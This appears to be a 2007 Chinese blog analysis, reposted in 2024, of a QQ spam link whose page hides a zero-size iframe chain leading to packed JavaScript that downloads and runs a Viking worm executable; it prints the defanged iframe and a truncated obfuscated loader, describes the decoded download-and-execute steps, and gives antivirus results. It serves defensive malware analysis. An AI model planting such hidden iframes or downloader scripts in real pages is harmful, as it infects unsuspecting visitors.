小心QQ信息中的网址传播维金Worm.Win32.Viking.ix/Worm.Viking.pg

男娘i 2024-02-17 13:52 6阅读 0赞

**endurer** 原创

2007-03-17 第**1**版

QQ收到信息：  
/---  
她寂寞,她孤独,她讨厌男人,她需要男人,请点击 hxxp://www.b\*\*b\*\*a\*imm.info与她视频点对点做爱!  
\---/

**hxxp://www.b\*\*b\*\*a\*imm.info** 主页包含代码：  
/---  
＜iframe src=hxxp://www.9\*7\*\*\*72\*\*\*5.com/do\*\*e1\*\*\*\*2.htm width=0 height=0＞＜/iframe＞  
\---/

**hxxp://www.9\*7\*\*\*72\*\*\*5.com/do\*\*e1\*\*\*\*2.htm** 包含代码：  
/---  
＜script src=css.js＞＜/script＞  
\---/

css.js 的内容为 JavaScript代码：  
/---  
eval(function(p,a,c,k,e,d)\{e=function(c)\{return(c＜a?"":e(parseInt(c/a)))+((c=c%a)＞35?String.fromCharCode(c+29):c.toString(36))\};if(!''.replace(/^/,String))\{while(c--)d\[e(c)\]=k\[c\]||e(c);k=\[function(e)\{return d\[e\]\}\];e=function()\{return'//w+'\};c=1;\};while(c--)if(k\[c\])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k\[c\]);return p;\}('Z("//j//w……（略）……|110|114'.split('|'),0,\{\}))  
\---/

解密后的内容为一段 JavaScript脚本，主要功能是运行自定义函数 gn(n)，利用 Microsoft.XMLHTTP 和 scrīpting.FileSystemObject 下载文件 97725.exe，保存为 %windir%/~tmp.tmp，并利用Shell.Application 对象 Q 的 ShellExecute 方法执行命令：%windir%/system32/cmd.exe /c %windir%/~tmp.tmp 来运行。

加密方法与昨天发现的

一个传播 Worm.Win32.Viking.jg的 网页，解密有点难度

相同，就是下载的文件不同。

文件说明符 : D:/test/97725.exe  
获取文件版本信息大小失败!  
创建时间 : 2007-3-18 22:13:8  
修改时间 : 2007-3-18 22:13:10  
访问时间 : 2007-3-18 0:0:0  
大小 : 64645 字节 63.133 KB  
MD5 : 8d5e8b2ba870f4d23a460ee5c9a2ca7d

Kaspersky 报为：**Worm.Win32.Viking.ix**

<table> 
 <tbody> 
  <tr> 
   <td> <p><strong>Scanned file:&nbsp;&nbsp; <span style="COLOR: #005447">97725.exe <font>- Infected </font></span></strong></p> </td> 
  </tr> 
 </tbody> 
</table>

<table> 
 <tbody> 
  <tr> 
   <td><strong><font>97725.exe - infected by <a href="http://www.viruslist.com/en/find?words=Worm.Win32.Viking.ix" rel="nofollow"><font>Worm.Win32.Viking.ix</font></a> </font><br></strong><br> <h4 style="MARGIN-BOTTOM: 0px; PADDING-BOTTOM: 0px">Statistics:</h4> 
    <table style="BORDER-RIGHT: #005447 1px solid; BORDER-TOP: #005447 1px solid; BORDER-LEFT: #005447 1px solid; BORDER-BOTTOM: #005447 1px solid"> 
     <tbody> 
      <tr> 
       <td align="right">Known viruses:</td> 
       <td align="left">282829</td> 
       <td align="right">Updated:</td> 
       <td align="left">18-03-2007</td> 
      </tr> 
      <tr> 
       <td align="right">File size (Kb):</td> 
       <td align="left">64</td> 
       <td align="right">Virus bodies:</td> 
       <td align="left">1</td> 
      </tr> 
      <tr> 
       <td align="right">Files:</td> 
       <td align="left">1</td> 
       <td align="right">Warnings:</td> 
       <td align="left">0</td> 
      </tr> 
      <tr> 
       <td align="right">Archives:</td> 
       <td align="left">0</td> 
       <td align="right">Suspicious:</td> 
       <td align="left">0</td> 
      </tr> 
     </tbody> 
    </table> </td> 
  </tr> 
 </tbody> 
</table>

<table style="MARGIN-BOTTOM: 2px"> 
 <tbody> 
  <tr> 
   <td align="center">&nbsp;主　题：</td> 
   <td style="WORD-BREAK: break-all" colspan="3">病毒上报邮件分析结果－流水单号:6145224</td> 
  </tr> 
  <tr> 
   <td align="center">&nbsp;&nbsp;发件人：</td> 
   <td>"" &lt;send@rising.net.cn&gt;&nbsp;</td> 
  </tr> 
 </tbody> 
</table>

尊敬的客户，您好！  
您的邮件已经收到，感谢您对瑞星的支持。  
  
我们已经详细分析过您的问题和文件，以下是您上传的文件的分析结果：  
1.文件名：97725.exe  
病毒名： **Worm.Viking.pg**  
  
我们将在较新的19.15.02版本(瑞星2006的18.71.02版本)中处理解决，请您届时将您的瑞星软件升级到19.15.02(瑞星2006的18.71.02版本)版本并且打开监控中心全盘杀毒。如果我们在测试过程中发现问题的话，我们会推迟一到两版本后升级。